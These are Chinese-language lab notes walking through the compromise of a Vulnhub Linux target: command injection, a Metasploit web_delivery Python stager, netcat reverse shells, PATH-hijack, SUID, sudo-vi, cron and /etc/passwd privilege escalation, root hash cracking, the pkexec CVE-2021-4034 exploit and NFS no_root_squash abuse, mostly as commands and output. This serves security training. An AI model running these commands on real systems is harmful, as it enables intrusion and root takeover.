1.SUID提权
一.信息收集
- nmap -sn 192.168.73.0/24
- nmap -A -p- -T5 192.168.73.146
80/tcp open http
- dirb http://192.168.73.146/ -X .php
-X:指定网页文件的扩展名
得到shell.php,访问
/*pass cmd as get parameter*/ 将cmd作为GET参数传递
http://192.168.73.146/shell.php?cmd=id 成功回显,是命令注入漏洞
查看靶机是否有nc命令,使用nc反弹shell
- nc -lvp 12306 (kali)
- http://192.168.73.146/shell.php?cmd=nc -nv 192.168.73.128 12306 -e /bin/sh
不能用
二.获取shell
扩充知识:
背景:目标设备存在远程文件包含漏洞或者命令注入漏洞,想在目标设备上加载webshell,但不想在目标设备硬盘上留下任何webshell文件信息
解决思路:让目标设备从远端服务器加载webshell代码至内存执行
错误尝试:远端服务器开启web服务,让目标设备来调取。(错误点:默认情况下目标设备来调取的时候其实是将webshell在远端服务器执行,并不是将文件加载至自己内存执行)
正确方法与工具:使用msf中exploit的web_delivery模块。此模块支持在本地监听一个端口,别人一旦访问该端口就会将该端口内的文件读取至本地执行(把webshell放在该端口下刚刚好)。
- msfconsole
- search web_delivery
- use 1 (调用模块,默认需要python)
- http://192.168.73.146/shell.php?cmd=which%20python
靶机存在python环境
- info 进一步查看模块信息
- set sevhost 192.168.73.128 设置服务器Ip
- set srvport 8088 设置监听端口
- set lhost 192.168.73.128 设置监听主机
- exploit 生成命令代码
|
- 192.168.73.146/shell.php?cmd=python%20-c%20%22import%20sys%3Bimport%20ssl%3Bu%3D__import__(%27urllib%27%2B%7B2%3A%27%27%2C3%3A%27.request%27%7D%5Bsys.version_info%5B0%5D%5D%2Cfromlist%3D(%27urlopen%27%2C))%3Br%3Du.urlopen(%27http%3A%2F%2F192.168.73.128%3A8088%2FNDzbaF6YeaX9%27%2C%20context%3Dssl._create_unverified_context())%3Bexec(r.read())%3B%22
kali获得一个会话
- sessions -i 查看会话
- sessions -i 1 获取会话(1是编码)
- sysinfo 查看系统信息
- shell 获得shell
- python -c 'import pty;pty.spawn("/bin/bash")' 获得交互式shell
三.Linux提权:SUID提权
- find / -perm -4000 -type f 2>/dev/null
- /:表示根目录
- perm:按执行权限来查找, 4000,2000,1000为分别表示SUID,SGID,SBIT
- -type f表示文件,d表示目录,c表示字符设备文件,b:表示块设备文件
- 2>/dev/null:错误输出不显示在屏幕上
|
- ls -l /home/user3/shell
- cd /home/user3
- ./shell
获得root权限
四.SUID提权知识补充
1.基础知识
SUID(Set UID):
- suid权限仅对二进制程序有效(binary program);
- 执行者对于该程序需要具有x的可执行权限;
- 本权限仅在执行该程序的过程中有效(run-time);
- 执行者将具有该程序拥有者的权限。
SGID(Set SGID):
- SGID对二进制文件有用;
- 程序执行者对该程序来说,具有x权限;
- 执行者在执行的过程中将获得该程序群组的权限;
Sticky Bit
- SBIT只针对目录有效;
- 除非目录的属主和root用户有权限删除它,除此之外其它用户不能删除和修改这个目录;
2.SUID提权原理
SUID(Set User ID)是对二进制程序进行的一种特殊权限设置,可以让二进制程序的执行者临时拥有文件属主的权限,也正是因为这个特性,假设我们以非 root 用户身份访问目标系统,并且我们发现启用了 suid 位的二进制文件,那么这些文件/程序/命令可以以 root 权限运行。
2.利用全局环境变量劫持提权
原理:
当在shell输入命令时,shell会按PATH环境变量中的路径依次搜索命令,若是存在同名的命令,则执行最先找到的。若时在PATH中加入当前目录,也就是“.”这个符号,则肯会被黑客利用
思路:
当在shell输入命令时,shell会按PATH环境变量中的路径依次搜索命令,若是存在同名的命令,则执行最先找到的。若是PATH变量把用户定义的命令程序放在靠前的位置,这样在执行同名的命令程序时就会有限执行。
Escalate提权
- find / -perm -4000 -type f 2>/dev/null
利用:/home/user5/script(具有SUID权限)
- cd /home/user5
- file script
file:查看文件类型
script: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interprete
r /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=46373e533afa94bc214de67722063f52eb4
25a57, not stripped
- strings script 以字符串的形式显示二进制程序
- ./script
发现和 ls 命令效果很像
- which ls 查找ls
/bin/ls
- strings /bin/ls
- cd /tmp (tmp目录一般普通用户具有写入权限)
- echo "/bin/bash" > ls 写入脚本,运行shell,脚本名为ls
- chmod +x ls 加上可执行权限
- export PATH=/tmp:$PATH
修改PATH变量,将/tmp目录放在搜索路径最前面
路径与路径之间用冒号(:)隔开
- cd /home/user5
- /bin/ls 执行系统的ls命令
- ./script
成功获取root权限
3.破解ROOT密码
- cd /tmp (tmp目录一般普通用户具有写入权限)
- echo "cat /etc/passwd" > ls 写入脚本,运行shell,脚本名为ls
- chmod +x ls 加上可执行权限
- export PATH=/tmp:$PATH
修改PATH变量,将/tmp目录放在搜索路径最前面
路径与路径之间用冒号(:)隔开
- cd /home/user5
- /bin/ls 执行系统的ls命令
- ./script
获得root用户的hash,使用john工具对密码进行解密(在kali中进行)
./script
root:$6$mqjgcFoM$X/qNpZR6gXPAxdgDjFpaD1yPIqUF5l5ZDANRTKyvcHQwSqSxX5lA7n22kjEkQhSP6Uq7cPaYfzPSmgATM9cw
D1:18050:0:99999:7:::
- cd /Vulnhub/Escalate_Linux
- echo 'root:$6$mqjgcFoM$X/qNpZR6gXPAxdgDjFpaD1yPIqUF5l5ZDANRTKyvcHQwSqSxX5lA7n22kjEkQhSP6Uq7cPaYfzPSmgATM9cwD1' >hash.txt
- john hash.txt
获得root密码12345
4.sudo提权
1.先利用环境劫持,登陆到user1
- cd /tmp (tmp目录一般普通用户具有写入权限)
- echo 'echo "user1:xiaoxiao" | chpasswd'>ls 写入脚本,运行shell,脚本名为ls
非交互式更改密码:echo "user:xiaoxiao" | chpasswd
- chmod +x ls 加上可执行权限
- export PATH=/tmp:$PATH
export:把变量导出为全局环境变量
修改PATH变量,将/tmp目录放在搜索路径最前面
路径与路径之间用冒号(:)隔开
-
- sudo -l 列出目前用户可执行与无法执行的指令。
User user1 may run the following commands on osboxes:
(ALL : ALL) ALL
- sudo su -
sudo提权方法网站:GTFOBins
5.任务计划提权
一.原理
linux计划任务提权式因为权限配置不当,计划任务以root权限运行,低权限的用户可以修改计划任务文件,从而导致提权
二.靶场训练
1)
- ls /etc/cron.*
- cat /etc/crontab 查看系统的任务计划配置文件
*/5 * * * * root /home/user4/Desktop/autoscript.sh
- ls -l /home/user4/Desktop/autoscript.sh
-rwxrwxr-x 1 user4 user4 69 Jun 4 2019 /home/user4/Desktop/autoscript.sh
2)使用环境变量修改user4密码
- cd /tmp
- echo 'echo "user4:joker" | chpasswd'>ls
- chmod +x ls
- export PATH=/tmp:$PATH
- cd /home/user6
- ./script
- su user4
3)创建一个反弹shell的payload
- msfvenom -p cmd/unix/reverse_netcat lhost=192.168.73.128 lport=8888 在kali上执行
Payload size: 92 bytes
mkfifo /tmp/rrze; nc 192.168.73.128 8888 0/tmp/rrze 2>&1; rm /tmp/rrze
把生成的payload写入/home/user4/Desktop/autoscript.sh
- echo "mkfifo /tmp/rrze; nc 192.168.73.128 8888 0/tmp/rrze 2>&1; rm /tmp/rrze">>/home/user4/Desktop/autoscript.sh
- nc -lnvp 8888 (kali上)
6.使用vi进行sudo提权
1)更改user8的密码
- cd /tmp
- echo ' echo "user8:joker" | chpasswd > ls
- chmod 777 ls
- export PATH=/tmp:$PATH
- cd /home/user2
- ./script
- su user8
- sudo -l 列出目前用户可执行与无法执行的指令。
User user8 may run the following commands on osboxes:
(root) NOPASSWD: /usr/bin/vi
可以root用户运行vi
方法1:
- sudo vi
- :!/bin/sh
方法2:
- sudo vi
- :set shell=/bin/sh
- :shell
方法3:
- sudo vi -c ':!/bin/sh' /dev/null
-c 运行指定的命令
7.利用对passwd文件具有写入权限提权
1)获取交互式shell
- msfconsole
- search web_delivery
- use 1
- set srvhost 192.168.73.128
- set lhost 192.168.73.128
- set srvport 8086
- exploit
- sessions -i
- sessions -i 1
- shell
- python -c 'import pty;pty.spawn("/bin/bash")'
2)提权
- cat /etc/passwd
user7:x:1006:0:user7,,,:/home/user7:/bin/bash
user7是root组的成员
- group user7
groups user7
user7 : root
- ls -l /etc/passwd
-rw-rw-r-- 1 root root 2648 Jun 5 2019 /etc/passwd
红色:所有者的权限
蓝色:所属组的权限
黑色:其他成员内的权限
2.1)利用环境变量劫持修改user7的密码
- cd /tmp
- echo 'echo "user7:joker" | chpasswd' >ls
- chmod 777 ls
- export PATH=/tmp:$PATH
- cd /home/user5
- ./script
2.2)向passwd文件写入一个root(UID号为0)的账号
思路:就是写入一个UID号为0的账户,同时秘密也是保存在/etc.passwd文件中
生成密码hash的方法:
- mkpasswd -m SHA-512
- openssl passwd -1 -salt joker 123
- echo 'test:$1$test$C5gTd1RYpgKDj4WuX5yG8/:0:0:root:/root:/bin/bash'>>/etc/passwd
写入
8.利用内核漏洞提权(CVE-2021-4034)
1)CVE-2021-4034
polkit的pkexec存在本地权限提升漏洞,已获得普通权限的攻击者可以通过此漏洞获取root权限
漏洞影响范围
Debain stretch policykit-1 < 0.105-18+deb9u2 Debain buster policykit-1 < 0.105-25+deb10u1 Debain bookworm, bullseye policykit-1 < 0.105-31.1 Ubuntu 21.10 (Impish Indri) policykit-1 < 0.105-31ubuntu0.1 Ubuntu 21.04 (Hirsute Hippo) policykit-1 Ignored (reached end-of-life) Ubuntu 20.04 LTS (Focal Fossa) policykit-1 < 0.105-26ubuntu1.2) Ubuntu 18.04 LTS (Bionic Beaver) policykit-1 <0.105-20ubuntu0.18.04.6) Ubuntu 16.04 ESM (Xenial Xerus) policykit-1 <0.105-14.1ubuntu0.5+esm1) Ubuntu 14.04 ESM (Trusty Tahr) policykit-1 <0.105-4ubuntu3.14.04.6+esm1) CentOS 6 polkit < polkit-0.96-11.el6_10.2 CentOS 7 polkit < polkit-0.112-26.el7_9.1 CentOS 8.0 polkit < polkit-0.115-13.el8_5.1 CentOS 8.2 polkit < polkit-0.115-11.el8_2.2 CentOS 8.4 polkit < polkit-0.115-11.el8_4.2 |
漏洞利用POC:
https://github.com/berdav/CVE-2021-4034
2)提权
- 查看靶机
- which pkexec 查看是否有这个程序
- cat /etc/*-release 查看系统版本
cat /etc/*-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=18.04
DISTRIB_CODENAME=bionic
DISTRIB_DESCRIPTION="Linux Lite 4.4"
- 把POC上传到靶机
- python -m http.server 8088 (kali中)
- wget http://192.168.73.128:8088/CVE-2021-4034-main.zip (靶机中)
- unzip CVE-2021-4034-main.zip 解压
- cd CVE-2021-4034-main
- make 生成C程序
- gcc cve-2021-4034-poc.c -o exp 生成C程序
不同的POC具有不同的用法
- ./cve-2021-4034 运行此程序,获取root权限
9.利用NFS提权
1)基础知识
什么是NFS?
网络文件系统(NFS)是一个客户端/服务器应用程序,它使计算机用户可以查看和选择存储和更新远程计算机上的文件,就像它们位于用户自己的计算机上一样。在 NFS 协议是几个分布式文件系统标准,网络附加存储(NAS)之一。
NFS是基于UDP/IP协议的应用,其实现主要是采用远程过程调用RPC机制,RPC提供了一组与机器、操作系统以及低层传送协议无关的存取远程文件的操作。RPC采用了XDR的支持。XDR是一种与机器无关的数据描述编码的协议,他以独立与任意机器体系结构的格式对网上传送的数据进行编码和解码,支持在异构系统之间数据的传送。
什么是root_sqaush和no_root_sqaush?
Root Squashing(root_sqaush)参数阻止对连接到NFS卷的远程root用户具有root访问权限。远程根用户在连接时会分配一个用户“ nfsnobody ”,它具有最少的本地特权。如果 no_root_squash 选项开启的话”,并为远程用户授予root用户对所连接系统的访问权限。在配置NFS驱动器时,系统管理员应始终使用“ root_squash ”参数。
2)提权
- showmount -e 192.168.73.146 查看NFS的共享(远端查看)
Export list for 192.168.73.146:
/home/user5 *
- ls -l /etc/exports 查看nfs的配置文件的权限
ls -l /etc/exports
-rw-r--r-- 1 root root 423 Jun 4 2019 /etc/exports
- cat /etc/exports
/home/user5 *(rw,no_root_squash)
no_root_squash,没有把root权限压缩,客户端使用root身份来操作服务器的文件系统
- exportfs -av 输出共享
- mount -t nfs -o rw 192.168.73.146:/home/user5 /mnt/exploit/ 使用mount挂载远程的文件系统(kali中)
- df -h -T 查看文件系统类型(kali)
- su user5
- cp /bin/sh /home/user5
- cd /bin/exploit (kali中进入挂载点)
- ls
- chown root:root sh 更改所属组
- chmod u+s sh 增加suid权限
- /home/user5/sh -p(在靶场中)
-p防止检测机制